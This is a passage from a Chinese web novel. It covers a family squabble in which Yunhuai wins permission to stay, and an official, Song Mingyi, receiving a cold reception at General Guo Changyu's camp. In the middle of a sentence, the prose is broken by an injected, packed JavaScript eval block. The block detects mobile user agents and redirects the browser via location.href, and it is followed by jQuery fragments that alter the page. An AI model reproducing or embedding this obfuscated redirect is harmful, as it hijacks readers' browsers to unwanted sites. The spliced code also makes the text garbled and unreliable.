也不知是跟谁学的。
云徊说话时还慢吞吞抬眼,嘴角弯出得体弧度的同时肩膀微微垮下,大概是在努力表现出隐忍又倔强,从宋明夷的角度看来,用力过猛有点像挑衅。
她抬手打住此话:“缺的瓦就是你捅破的。”
云徊怔住,看向槐,虽无言,但表情比方才生动了许多,明显在问‘是吗’。
槐甚至不用去回忆,都能瞬间想起明夷那时看见房顶破洞的神情,甚至久违地说了自云徊能听懂人言后再没说过的话,‘养不了了,将孩子还回去,哪儿捡的放哪儿’。
槐嘴角上扬了肉眼看不见的弧度,淡淡回:“是。”
宋明夷按着太阳穴,挤出抹无奈的笑:“那时候你才几岁啊,一个没看住都能爬上房梁掏鸟窝顺便把房顶捅个比你都大的洞了。还能让你吃什么苦?前后不过五个时辰就搬了家。”
云徊犯了难,姐夫也没说由于记忆出现偏差导致被拆台后该怎么办,他咬咬牙,干脆当没听见,那就没这回事。
后面怎么着来着,抬完眸后好像是……仿若不经意地低头。
低头时眼底要有蒙蒙水雾,眼尾泪光一闪而过。可惜他将大腿掐到麻木也没一点要落泪的冲动,只能做出眉头微微蹙。
“虽然我带的干粮多,但路上遇到了流民,人太多我肯定杀不完,又怕她们认出我不是女子,只能安分蹲在角落等她们抢完,还好桉哥教我认过野菜,勉强吊着口气撑到跟上大家。”
他视线往左,冲着已经抓紧脚趾的无恙来了句:“无恙姐,谢谢你刚才分给我的肉干,我已经好多天没吃饱过了。不过,那可能也是我最后一次饱餐。”
见云徊眼睛跟抽筋似的对着自己,无恙挠了挠手心,试探性地回道:“……不客气?”
他都最后一次饱餐了,不是该问为什么吗!云徊快要坐不住了,他用力掐了一把手心,忍了下来,告诉自己都是三个字、三个字、三个字……就当是问的为什么吧。
成功洗脑自己后,抽搐的眼睛再次虚虚扫向槐,自顾自说道:“毕竟槐要送我回去,那我肯定半路跑掉。之前遇到的是流民,下次说不定就是盗匪、宵小、恶棍、歹徒,到时候她们会对我一个孤苦无依的弱男子做些什么呢?”
说这话时,他还斜着眼看宋明夷。
“行了,跟谁学的这套。”头越来越疼了,她按着太阳穴,阻止了这场一个人的闹剧。
她看向槐,槐看向她,眼底尽是无奈,能怎么办,孩子这么大了也不能打吧,叹道:“留下可以,安分点。”
云徊眼睛瞬间放光,姐夫教的欲迎还拒已经还给姐夫,此时此刻只顾着点头:“嗯嗯嗯,我最安分了!”
宋明夷嗤了一声,这个词跟他就不搭,真安分就不会出现在这儿了。
眼不见为净,她开始赶人:“快出去吧,让槐给你找地方睡,有事都找槐,别来吵我。”
“好好好,这就走,快走快走啊槐!”云徊兴奋地抱住槐的胳膊往外蹦,计划通,他还赶着去给姐夫写信呢!
她们到达日照时,谢瑜正好收到云徊的第一封信,他坐在朝北的窗前,将信展开。
信上内容透露着稚气,像是孩童写的日录,想到哪里写哪里,但就是这样一封不连贯的书信,他翻来覆去一看便是一日。
妻主的吃穿住行其中皆有提及,虽都是些微小事,但能凭借着想象出妻主的模样他便十分满足,他最擅长做这件事,以寥寥字句,来慰藉相思。
日照。
队伍留在十里之外,她只带了无恙,领着几名亲兵前往郭长钰的军帐。
来时正逢午间,日头越来越大,炽热的日光将地面炙烤得弥漫出阵阵灼气,连马匹都开始站不住,逐渐烦躁不安。
宋明夷额间已渗出细密汗珠,湿润了鬓发,抬袖擦汗时,她手背碰过脸上皮肤,像被火燎过一般滚烫。
士兵接过玉符进去通传,约莫已半个时辰过去,无恙看了看周围都坚壁清野,连个遮荫处也寻不到,她眉宇间透出不满,说道:“属下再去问问?”
宋明夷微微摇头。
实无必要,士族权贵是这样的,尤其还沾了点皇室血脉,骨子里的傲慢让她们总爱在第一次见面时摆摆姿态,她在京都时并非没有此经历,过了几年好日子,不代表就会忘了来时路。
又过了一刻钟,一个文士模样的人急匆匆小跑着出来,隔着辕门和壁垒看不太清,大概是在喝斥守卫,令其放行。
门开后,那人提着衣摆匆匆迎上来,她自己也得拿出态度,同样朝着那人走去。
与其隔着一臂距离时,两人都默契停下。
来者双手抱于胸前,微微弯腰道:“将军帐下军师祭酒钟离文晓,奉将军之命特来接迎阁下。”
钟离文晓,便是写那篇檄文的谋士,据说颇受定西王信任,曾几次大败蛮族,都有她在其中出谋划策。
她还了一礼,同样自报家门:“连仓郡守宋明夷,应召而至,特来拜见定西王殿下。”
“久仰郡守大名,某倾佩久已!”钟离文晓再次捧手道:“早该出来迎郡守,说来实在惭愧,适才将军在议事,下头人不敢进帐打扰,这才劳宋郡守久候多时,实在失礼失礼。”
这钟离文晓举手投足间倒是谦和有礼,让人寻不出错处。
“祭酒何愧之有?”她微微一笑,温声回道:“想必是有紧要军情,正事当前,我本就是突然来访,稍候又有何妨?”
“宋郡守胸怀雅量,某不胜钦佩。”钟离晓像是卸下负担般眉眼陡然放松,会心一笑,随后往旁边让开一步,微微侧身做了个请的姿势:“郡守,请。”
“请。”她微微颔首客气一番之后,才跟着往里。
一路上,钟离文晓进退有度与她攀谈了几句,问了些来时路上见闻,便再无其它。
直到大帐前,守卫又持兵刃将她拦下:“留步,请取下兵器。”
她依言取下腰间佩剑交给守卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439586|197508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
守卫又道:“还需搜检。”
她尚未言语,钟离文晓先一步上前斥道:“乃将军之客,不得无礼。”
守卫寸步不让,钟离文晓与其对峙片刻,随后像是没有办法,垮下肩膀,回身冲她歉意一笑。
“无碍,客随主便。”她摇摇头,坦然张开双手,任其搜身。
确定没问题后,守卫仍未放行,而是进帐通报:“将军,连仓郡守求见。”
良久,才听见回话:“让她进来。”
“是。”
守卫出来掀开帐门,却又将无恙拦住:“随侍不得入内。”
一而再再而三,再没脾气的人也该拂袖而去,钟离文晓不悦地瞪着守卫,想进去与将军说道说道。
宋明夷却只是朝无恙安抚一笑:“在外面等我。”
“……是。”无恙握着的拳紧了紧,垂眸退下阶梯。
大帐内。
她拱手高举,长揖道:“下官连仓郡守宋明夷,拜见定西王殿下。”
郭长钰毫不避讳地打量着她,不过一白面书生,弱不禁风也学着带兵打仗,何其可笑。
那双锐利的凤眼里满是傲气,良久才道:“行了,营地无分王侯,称将军就好。”
“是,将军。”
“明夷贤妹路途劳累,辛苦了。”碍着文晓在旁边看着,郭长钰象征性问候了一句,但没等人客套回话,便直奔主题,问道:“带了多少人来?粮草给养可够?”
“回将军,带了两千人,粮草勉强支撑到此。”
郭长钰冷了脸,不再多言,随意打发道:“日照已无余县可驻扎,宋郡守请往西城安营。稍后与诸将还有要事商讨,郡守无事便退下吧。”
钟离文晓在一旁使以眼神,郭长钰只当看不见,挥了挥手,一旁的兵士立即向前几步,请她出去。
饶是如此,她神色未变,再次捧手一拜,全了最后一礼,郭长钰没扭头来看,旁边的钟离文晓倒是略带歉意地还了礼。
等这宋郡守离开,帐门彻底落下,钟离文晓满脸不赞同地拍着大腿叹道:“唉呀将军!不是说好要礼待应召前来的盟友吗?”
郭长钰满不在意地说道:“文晓多虑了,两千民兵哪能叫盟友,就这点人还连给养都跟不上,到时说不定还得来借粮。”
“那也要做出姿态给天下人看,若连礼待都做不到,谁还愿来合盟?”钟离文晓分析道:“且这宋郡守非寻常人,曾颇受先帝信任,在京都亦有不计其数的文人追捧,若先帝仍在,其早晚位列三辅。”
“可先帝已经是先帝了。本将一开始就没打算发檄文于各郡广邀盟友,放眼天下,只几人配与本将同盟,只是听了文晓之言,先于道义得天下支持。”郭长钰忽低放软了态度:“文晓也依我一回,实在懒得应付这些无用之人。”
“唉!”每次将军如此,钟离文晓都只剩长叹,将军什么都好,勇武非凡,大事上也能听劝,就是这傲气,怎么也掩不住!